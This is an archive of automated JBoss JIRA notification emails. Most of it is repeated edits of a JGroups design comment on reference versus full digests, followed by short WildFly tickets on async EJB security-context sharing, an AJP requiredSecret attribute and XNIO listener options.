Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (reference digest) or a *membership list* (full digest).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE.

So when would be use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:21:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 03:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.12426.1378452063847@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802148#comment-12802148 ] 

Bela Ban edited comment on JGRP-1317 at 9/6/13 3:19 AM:
--------------------------------------------------------

Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (*reference digest*) or a membership list (*full digest*).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE.

So when would be use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                
      was (Author: belaban):
    Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (reference digest) or a *membership list* (full digest).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE.

So when would be use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                  
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:21:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 03:21:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.12430.1378452064396@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802148#comment-12802148 ] 

Bela Ban edited comment on JGRP-1317 at 9/6/13 3:20 AM:
--------------------------------------------------------

Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (*reference digest*) or a membership list (*full digest*).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE. So this shouldn't increase memory consumption.

So when would be use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                
      was (Author: belaban):
    Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (*reference digest*) or a membership list (*full digest*).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE.

So when would be use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                  
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:21:05 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 03:21:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.12437.1378452065124@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802148#comment-12802148 ] 

Bela Ban edited comment on JGRP-1317 at 9/6/13 3:20 AM:
--------------------------------------------------------

Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (*reference digest*) or a membership list (*full digest*).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE. This shouldn't increase memory consumption.

So when would we use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                
      was (Author: belaban):
    Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (*reference digest*) or a membership list (*full digest*).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE. So this shouldn't increase memory consumption.

So when would be use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                  
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:21:05 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 03:21:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.12439.1378452065290@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802148#comment-12802148 ] 

Bela Ban edited comment on JGRP-1317 at 9/6/13 3:20 AM:
--------------------------------------------------------

Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (*reference digest*) or a membership list (*full digest*).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE. This shouldn't increase memory consumption.

So when would we use full digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                
      was (Author: belaban):
    Sending the digest and associating it (at the receiving end) with a view proved to be problematic in some cases: 
* If we sent a digest with view-id V1, but the sender already installed V2, the digest would not be associated with a view
* In some cases, a view was meaningless, e.g.
** On a merge, each subgroup coordinator (e.g. X in \{X,Y,Z\}) needs to get the digest from all of its subgroup members
** Each member returns its own digest, so Y returns Y=[50:51]. However, Y's view would be \{X,Y,Z\}, so this doesn't work, as Y would return a digest whose seqnos for X and Z would be 0.
* On a state transfer, if the membership is \{A,B,C\}, we'd return the state and digest \{A,B,C\}. However,
** If D joined meanwhile, the receiver would have a different view-id and would not be able to associate the received digest with a view.
** Even if the receiver was able to get the view, if B left, the digest for \{A,B,C\} would be associated with view \{A,C\}, which would lead to incorrect seqnos

Therefore, digest needs to be changed to include either a view (*reference digest*) or a membership list (*full digest*).

The full digest is a bit bigger in memory and when marshalled over the wire, but most digests are unmarshalled, and then some entries in an xmit-table are added/changed or removed, and then the digest is discarded, so this shouldn't be an issue. The only place where we keep a digest around is in the coordinator in STABLE. This shouldn't increase memory consumption.

So when would we use ful digests and when ref digests ?

# JOIN: the existing members would not receive any digest with the new view. The joiner would receive the new view and the *full digest*.
# STABLE: members send the *ref digest*; as it is associated with a view-id, the coordinator discards STABLE messages which have a different view-id.
# STATE transfer: a state provider always returns the state and the *full digest*
# MERGE: the digests for the subgroup are always returned as a *full digest* (as discussed above). However, this only includes *1 member* anyway, so no harm done. The MERGE-REQs always return the *full digests* as well. However, the merge view installation includes the *ref digest* only, as the MergeView and the ref digest are shipped together, and the latter can have a reference to the former.

So if we assume that STABLE messages are the most frequent (ref digest), followed by view installation to existing members (ref digest), followed by JOINs (full digest), followed by STATE transfer (full digest) and merge (full and ref digest), then we can see that the cost incurred is not so bad.

                  
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:23:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Fri, 6 Sep 2013 03:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2016) Security context associated
 with EJB asynchronous invocations can potentially be corrupted over time by
 the caller thread
In-Reply-To: <JIRA.12500173.1378452142127@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500173.1378452142127@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500173.1378452142127.12447.1378452183855@jira02.app.mwc.hst.phx2.redhat.com>

jaikiran pai created WFLY-2016:
----------------------------------

             Summary: Security context associated with EJB asynchronous invocations can potentially be corrupted over time by the caller thread
                 Key: WFLY-2016
                 URL: https://issues.jboss.org/browse/WFLY-2016
             Project: WildFly
          Issue Type: Bug
          Components: EJB, Security
    Affects Versions: 8.0.0.Alpha4
            Reporter: jaikiran pai
            Assignee: jaikiran pai


Consider a servlet "S" which invokes on a asynchronous EJB "A". Let's assume "S" runs with a "foo" run-as role. Now when S invokes on "A", the run-as "foo" role is correctly propagated to the asynchronous EJB invocation. However, when the "S" invocation completes and potentially clears the security context (of any run-as role), the invocation(s) within the asynchronous EJB "A" too lose the corresponding security context role association. This is because the 2 threads (the servlet invocation one and the async EJB invocation one) literally share the same object instance of the SecurityContext.

The expected behaviour is that the original security context (attributes) are copied over to the async invocation and updates to that security context later on in a separate thread shouldn't affect the ongoing async EJB invocation.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 03:50:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 6 Sep 2013 03:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.12514.1378453803857@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802161#comment-12802161 ] 

Bela Ban commented on JGRP-1317:
--------------------------------

Another alternative is to revert Digest to containing a membership list (Address[]) and the corresponding seqnos (long[]). This is essentially what we had in the beginning.

However, *if View's membership list was changed from an ArrayList<Address> to an array (Address[])*, then we could do the following when unmarshalling a ref digest:
* Read the View
* Read the seqno[] array of the digest
* Point the Address[] array of digest to the Address[] array of view, so we have the Address[] aray in memory *only once*

Protocols which need a view-id could simply ship the view-id, e.g. STABLE.
                
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 05:30:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 6 Sep 2013 05:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1589) requiredSecret attribute on
 the AJP connector
In-Reply-To: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495134.1372241506000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495134.1372241506000.12632.1378459803696@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1589?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1589:
------------------------------------------

    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=997009, https://bugzilla.redhat.com/show_bug.cgi?id=1005130  (was: https://bugzilla.redhat.com/show_bug.cgi?id=997009)

    
> requiredSecret attribute on the AJP connector
> ---------------------------------------------
>
>                 Key: WFLY-1589
>                 URL: https://issues.jboss.org/browse/WFLY-1589
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (JBoss Web)
>            Reporter: Tom Fonteyne
>            Assignee: Tom Fonteyne
>            Priority: Minor
>         Attachments: requiredsecret.diff, requiredsecret.diff
>
>
> In JBoss 5 I could set the requiredSecret attribute of the AJP connector. This is no longer possible in JBoss AS 7 and WildFly
> This request is to get it implemented similarly to WFLY-254 for tomcatAuthentication

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 06:16:05 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Fri, 6 Sep 2013 06:16:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2017) Add ability to set XNIO
 options for listeners
In-Reply-To: <JIRA.12500194.1378462536408@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500194.1378462536408@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500194.1378462536408.12741.1378462565105@jira02.app.mwc.hst.phx2.redhat.com>

Stuart Douglas created WFLY-2017:
------------------------------------

             Summary: Add ability to set XNIO options for listeners
                 Key: WFLY-2017
                 URL: https://issues.jboss.org/browse/WFLY-2017
             Project: WildFly
          Issue Type: Feature Request
          Components: Web (Undertow)
            Reporter: Stuart Douglas
            Assignee: Stuart Douglas




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

